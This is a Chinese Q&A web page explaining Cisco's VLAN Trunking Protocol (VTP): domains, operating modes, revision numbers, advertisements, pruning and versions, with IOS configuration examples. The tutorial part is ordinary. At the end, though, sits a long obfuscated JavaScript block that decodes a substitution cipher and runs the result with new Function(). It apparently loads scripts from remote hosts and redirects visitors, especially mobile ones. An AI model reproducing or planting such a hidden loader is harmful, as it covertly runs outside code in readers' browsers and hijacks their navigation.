为什么VTP通告一定要通过中继链路传送?

2025-02-28 20:09:21
推荐回答(1个)
回答1:

一、VTP概述

VLAN中继协议(VTP,VLAN TRUNKING PROTOCOL)是CISCO专用协议,大多数交换机都支持该协议.VTP负责在VTP域内同步VLAN信息,这样就不必在每个交换上配置相同的VLAN信息.
VTP还提供一种映射方案,以便通信流能跨越混合介质的骨干.
VTP最重要的作用是,将进行变动时可能会出现在的配置不一致性降至最低.
VTP也有一些缺点,这些缺点通常都与生成树协议有关.

1、VTP协议的作用
VLAN中继协议(VTP)利用第2层中继帧,在一组交换机之间进行VLAN通信.VTP从一个中心控制点开始,维护整个企业网上VLAN的添加、添加和重命名工作,确何配置的一致性。

2、VTP的优点
>保持配置的一致性
>提供跨不同介质类型如ATM FDDI和以太网配置虚拟局域网的方法
>提供跟踪和监视虚拟局域网的方法
>提供检测加到另一个交换机上的虚拟局域的方法
>提供从一个交换机在整个管理域中增加虚拟局域网的方法

二、VTP的工作原理

1、VTP概述和工作原理
VTP是一种消息协议,使用第2层帧,在全网的基础上管理VLAN的添加、删除和重命名,以实现VLAN配置的一致性。可以用VTP管理网络中VLAN1到1005。
有了VTP,就可以在一台机换上集中过时行配置变更,所作的变更会被自动传播到网络中所有其他的交换机上。(前提是在同一个VTP域)
为了实现此功能,必须先建立一个VTP管理域,以使它能管理网络上当前的VLAN。在同一管理域中的交换机共享它们的VLAN信息,并且,一个交换机只能参加到一个VTP管理域,不同域中的交换机不能共享VTP信息。
交换机间交换下列信息:
>管理域域名
>配置的修订号
>已知虚拟局域网的配置信息.
交换机使用配置修正号,来决定当前交换机的内部数据是否应该接受从其他交换机发来的VTP更新信息.
>如果接收到的VTP更新配置修订号与内部数据库的修订号相同域者比它小,交换机忽略更新.
>否则,就更新内部数据库,接受更新信息.
VTP管理域在安全模式下,必须配置一个在VTP域中所有交换机惟一的口令.
VTP的运行有如下特点:
>VTP通过发送到特定MAC地址01-00-0C-CC-CC-CC的组播VTP消息进行工作.
>VTP通告只通过中继端口传递.
>VTP消息通过VLAN1传送.(这就是不能将VLAN1从中继链路中去除的原因)
>在经过了DTP自动协商,启动了中继之后,VTP信息就可以沿着中继链路传送.
>VTP域内的每台交换机都定期在每个中继端口上发送通告到保留的VTP组播地址
VTP通告可以封装在ISL或者IEEE802.1Q帧内.

2、VTP域
VTP域,也称为VLAN管理域,由一个以上共享VTP域名的相互接连的交换机组成.
要使用VTP,就必须为每台交换机指定VTP域名.VTP信息只能在VTP域内保持.一台交换机可属于并且只属于一个VTP域.
缺省情况下,CATALYST交换机处于VTP服务器模式,并且不属于任何管理域,直到交换机通过中继链路接收了关于一个域的通告,或者在交换机上配置了一个VLAN管理域,交换机才能在VTP服务器上把创建或者更改VLAN的消息通告给本管理域内的其他交换机
如果在VTP服务器上进行了VLAN配置变更,所做的修改会传播到VTP域内的所有交换机上.
如果交换机配置为”透明”模式,可以创建或者修改VLAN,但所做的修改只影响单个的交换机
控制VTP功能的一项关键参数是VTP配置修改编号.这个32位的数字表明了VTP配置的特定修改版本.配置修改编号的取值从0开始,每修改一次,就增加1直到达到4294967295,然后循环归0,并重新开始增加.每个VTP设备会记录自己的VTP配置修改编号;VTP数据包会包含发送者的VTP配置修改编号.这一信息用于确定接收到的信息是否比当前的信息更新.
要将交换机的配置修改号置为0,只需要禁中继,改变VTP的名称,并再次启用中继.
VTP域的要求:
>域内的每台交换机必须使用相同的VTP域名,不论是通过配置实现,还是由交换机自动学动
>CATALYST交换机必须是相邻的,这意味着,VTP域内的所有交换机形成了一颗相互连接的树.每台交换机都通过这棵树与其他交换机相互.
>在所有的交换机之间,必须启用中继.

3、VTP的运行模式
VTP模式有3种,分别是:
>服务器模式(SERVER 缺省)
VTP服务器控制着它们所在域中VALN的生成和修改.所有的VTP信息都被通告在本域中的其他交换机,而且,所有这些VTP信息都是被其他交换机同步接收的.
>客户机模式(CLIENT)
VTP客户机不允许管理员创建、修改或删除VLAN。它们监听本域中其他交换机的VTP通告,并相应修改它们的VTP配置情况.
>透明模式(TRANSPARENT)
VTP透明模式中的交换机不参与VTP.当交换机处于透明模式时,它不通告其VLAN配置信息.而且,它的VLAN数据库更新与收到的通告也不保持同步.但它可以创建和删除本地的VLAN.不过,这些VLAN的变更不会传播到其他任何交换机上.
各种运行模式的状态
功能
服务器模式
客户端模式
透明模式
提供VTP消息 √ √ ×
监听VTP消息 √ √ ×
修改VLAN √ × √(本地有效)
记住VLAN √ ×√(在不同的版本有不同的结果) √(本地有效)

4、VTP的通告
1.VTP通告概述
使用VTP时,加入VTP域的每台交换机在其中继端口上通告如下信息.
>管理域
>配置版本号
>它所知道的VLAN
>每个已知VLAN的某些参数
这些通告数据帧被发送到一个多点广播地址(组播地址),以使所有相邻设备都能收到这些帧.
新的VLAN必须在管理域内的一台牌服务器模式的交换机上创建和配置.该信息可被同一管理域中所有其他设备学到
VTP帧是作为一种特殊的帧发送到中继链路上的.
有2种类型的通告:
>来自客户机的请求,由客户机在启动时发出,用以获取信息.
>来自服务器的响应
有3种类型的消息:
>来自客户机的通告请求
>汇总通告
>子集通告
VTP通告中可包含如下信息:
>管理域名称
>配置版本号
>MD5摘要--当配置了口令后,MD5是与VTP一起发送的口令.如果口令不匹配,更新将被忽略.
>更新者身份--发送VTP汇总通告的交换机的身份.
VTP通告处理以配置修订号为0为起点.每当随后的字段变更一项时,这个修订号就加1,直到VTP通告被发送出去为止.
VTP修订号存储在NVRAM中,交换机的电源开关不会改变这个设定值.要将修订号初始化为0,可以用下列方法:
>将交换机的VTP模式更改为透明模式,然后再改为服务器模式.
>将交换机VTP的域名更改一次,再更改回原来的域名.
>使用clear config all命令,清除交换机的配置和VTP信息.再次启动.
2. 3种VTP消息类型
(1)汇总通告
用于通知邻接的CATALYST交换机目前的VTP域名和配置修改编号.缺省情况下,CATALYST交换机每5分钟发送一次汇总通告.
当交换机收到了汇总通告数据包时,它会对比VTP域名:
>如果域名不同,就忽略此数据包
>如果域名相同,则进一步对比配置修改编号
>如果交换机自身的配置修改编号更高或与之相等,就忽略此数据包.如果更小,就发送通告请求.
(2)子集通告
如果在VTP服务器上增加、删除或者修改了VLAN,”配置修改编号”就会增加,交换机会首先发送汇总通告,然后发送一个或多个子集通告.挂起或激活某个VLAN,改变VLAN的名称或者MTU,都会触发子集通告.
子集通告中包括VLAN列表和相应的VLAN信息.如果有多个VLAN,为了通告所有的信息,可能需要发送多个子集通告.
(3)通告请求
交换机在下列情况下会发出VTP通告请求:
>交换机重新启动后
>VTP域名变更后
>交换机接到了配置修改编号比自己高的VTP汇总通告

5、VTP域内安全
为了使管理域更安全,域中每个交换机都需要配置域名和口令,并且域名和口令必须相同.
例(将TEST管理域设置为安全管理域):
>进入配置模式:
switch#configure terminal
>配置VTP域名:
switch(config)#vtp domain test
>配置VTP运行模式:
switch(config)#vtp mode server
>配置VTP口令:
switch(config)#vtp password mypassword
>返回到特权模式:
switch(config)#end
>查看VTP配置:
switch(config)#show vtp status
删除VTP管理域中的口令,恢复到缺省状态
switch(config)#no vtp password

6、VTP修剪
VTP修剪(VTP PRUNING)是VTP的一个功能,它能减少中继端口上不必要信息量.
在CISCO交换上,VTP修剪功能缺省是关闭的.
缺省情况下,发给某个VLAN的广播会送到每一个在中继链路上承载该VLAN的交换机.即使交换机上没有位于那个VLAN的端口也是如此.
VTP通过修剪,来减少没有必要扩散的通信量,来提高中继链路的带宽利用率.

7、VTP的版本
在VTP管理域中,有两个VTP版本可供采用,cisco catalyst型交换机既可运行版本1,也可运行版本2,但是,一个管理域中,这两个版本是不可互操作的.因此,在同一个VTP域中,每台交换机必须配置相同的VTP版本.
交换机上默认的版本协议是VTP版本1.
如果要在域中使用版本2,只要在一台服务器模式交换机配置VTP版本2就可以了.
VTP版本2增加了版本1所没有的以下主要功能:
>与版本相关的透明的模式:在VTP版本1中,一个VTP透明模式的交换机在用VTP转发信息给其他交换机时,先检查VTP版本号和域名是否与本机相匹配.匹配时,才转发该消息.VTP版本2在转发信息时,不检查版本号和域名.
>令牌环支持:VTP版本2支持令牌环交换和令牌环VLAN,这个是VTP版本2和版本1的最大区别.
设置VTP版本2的步骤如下:
>进入全局配置模式:
switch#config terminal
switch(config)#vtp version 2
switch(config)#end
switch#show vtp status

8、VTP如何在域内增加、减少交换机
1.增加交换机
VTP域是由多台共享同一VTP域名的互连设备组成.交换机只能属于某个VTP域内,各个交换机上的VLAN信息是通过交换机互连中继端口进行传播的.
要把一个交换机加入到一个VTP域内,可以使用
VTP DOMAIN DOMAIN-NAME.
当一个新交换机配置了VTP的域和服务器模式后,交换机每隔300秒,或者,每当VLAN结构发生变化时,就会通告一次.
将新的交换机添加到域中,一定要保证该交换机的修订号已经为0.
VTP修订号存储在NVRAM中,交换机的电源开关不会改变这个设定值.可以使用下列方法:
>将交换机的VTP模式变到透明模式,然后再变回服务器模式.
>将交换机的域名修改为一个其他的域名(一个不存在的域),然后再回到原来的域名
>使用erase startup-config 或 erase nvram命令,清除交换机的配置和VTP信息.再次启动.

2.删除交换机
要从管理域中删除交换机,只要在交换机上删除VTP域名的配置,或者将交换配置为透明模式,即可让这个交换机脱离该VTP管理域.

三、配置VTP
在开始配置VTP和VLAN之前,必须做一些规划.
>确定将在网络中运行的VTP版本.
>决定交换机是成为已有管理域的成员,还是另外成为其创立一个新的管理域,如果要加入到已有的管理域中,则确定它的名称和口令.
>为交换机选择一个VTP的工作模式.
>是否需用启用修剪功能.
2950缺省配置:
>VTP域名:空
>VTP模式:SERVER服务器模式
>VTP版本2:禁用
>VTP认证:空,未启用
>VTP修剪:未启用

1、创立VTP域和配置模式
<1> 创立VTP域
switch(config)#vtp domain domina-name
创立或加入一个管理域,使用下面步骤:
>进入全局配置模式
switch#config terminal
>加入到某个管理域:
switch(config)#vtp domain test
>返回特权模式:
switch(config)#end
域名长度可达32字符,口令可是64个字符长.
至少应该有一台交换机被设置为服务器模式.
一台交换机不想与网络中的其他交换机共享VLAN信息,刚可以将它设置为透明模式.
实现工作中,建议至少将两台核心交换机设置为VTP服务器模式,而将其他交换机设置为VTP客户机模式.这有效地,如果交换机掉电了,它重启后,可以从服务器处获得有效的VLAN信息.
<2> 配置VTP服务器
switch(config)#vtp domain domain-name
switch(config)#vtp mode server
switch#show vtp status
<3> 配置VTP客户端
switch(config)#vtp domain domain-name
switch(config)#vtp mode client
switch(config)#exit
<4> 配置VTP透明模式
switch(config)#vtp domain domain-name
switch(config)#vtp mode transparent
switch(config)#exit

2、VTP域内的安全、修剪、版本的设置
<1>VTP口令的配置:
switch(config)#vtp password mypassword
switch(config)#no vtp password(删除)
<2>VTP修剪
>启动VTP修剪
缺省情况下,在基于IOS交换机的中继商品上,VLAN2-1001都是可修剪的.要在管理域内启动修剪.使用:
switch(config)#vtp pruning
>从可修剪列表中去除某VLAN
switchport trunk pruning vlan remove vlan-id
用逗号分隔不连续的VLAN ID,其间不要有空格,用短线表明一个ID范围
例(去除VLAN2、3、4、6、8)命令如下:
switchport trunk pruning remove 2-4,6,8
>检查VTP修剪的配置
要检查VTP修剪的配置,可以使用命令:
show vtp status 和 show interface interface-id switchport
例:(配置VTP修剪)
switch#config terminal
switch(config)#vtp pruning
switch(config)#exit
switch#show vtp status
-
VTP pruning mode :enable(表明修剪已经启动)
-
例2(关闭指定的VLAN修剪)
switch#show interface fa0/3 switchport
trunking vlans active:1-4,6,7,200(说明了在该中继链路上可传输哪些VLAN的数据)
pruning vlans enable:2-1001(说明了该商品上启用了VTP修剪的VLAN列表)
-
switch#config t
switch(config)#interface fa0/3
switch(config-if)#switchport trunk pruning remove vlan 2 3 7
switch(config-if)#end
switch#show interface fa0/3 switchport
-
trunking vlans active:1-4,6,7,200
pruning vlans enable :4-6,8-1001
例3(在管理域中关闭VTP修剪)
switch#config t
switch(config)#no vtp pruning
switch#show vtp status
-
vtp pruning mode :disabled(修剪已关闭)
<3>VTP版本设置
switch(config)#vtp version 2(配置为版本2)
switch(config)#no vtp version 2(回到版本1)
switch#show vtp terminal
VTP V2 mode :enable
只有在VTP服务器模式下才能变更VTP版本

3、在VTP域内增加、减少交换机的配置方法
<1>增加交换机
新加入的交换机的VTP配置号比所要加入的域中原来的VTP服务器上的配置号要低.
添加过程:
>清除配置:(或其他的方法)
switch(config)#erase startup-config
switch(config)#end
switch#reload
>配置VTP运行模式:
switch(config)#vtp domain test
>配置VTP运行模式
switch(config)#vtp mode server
switch(config)#end
switch#show vtp status
<2>减少交换机
switch(config)#vtp domain test-a
switch(config)#end
switch#show vtp status

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();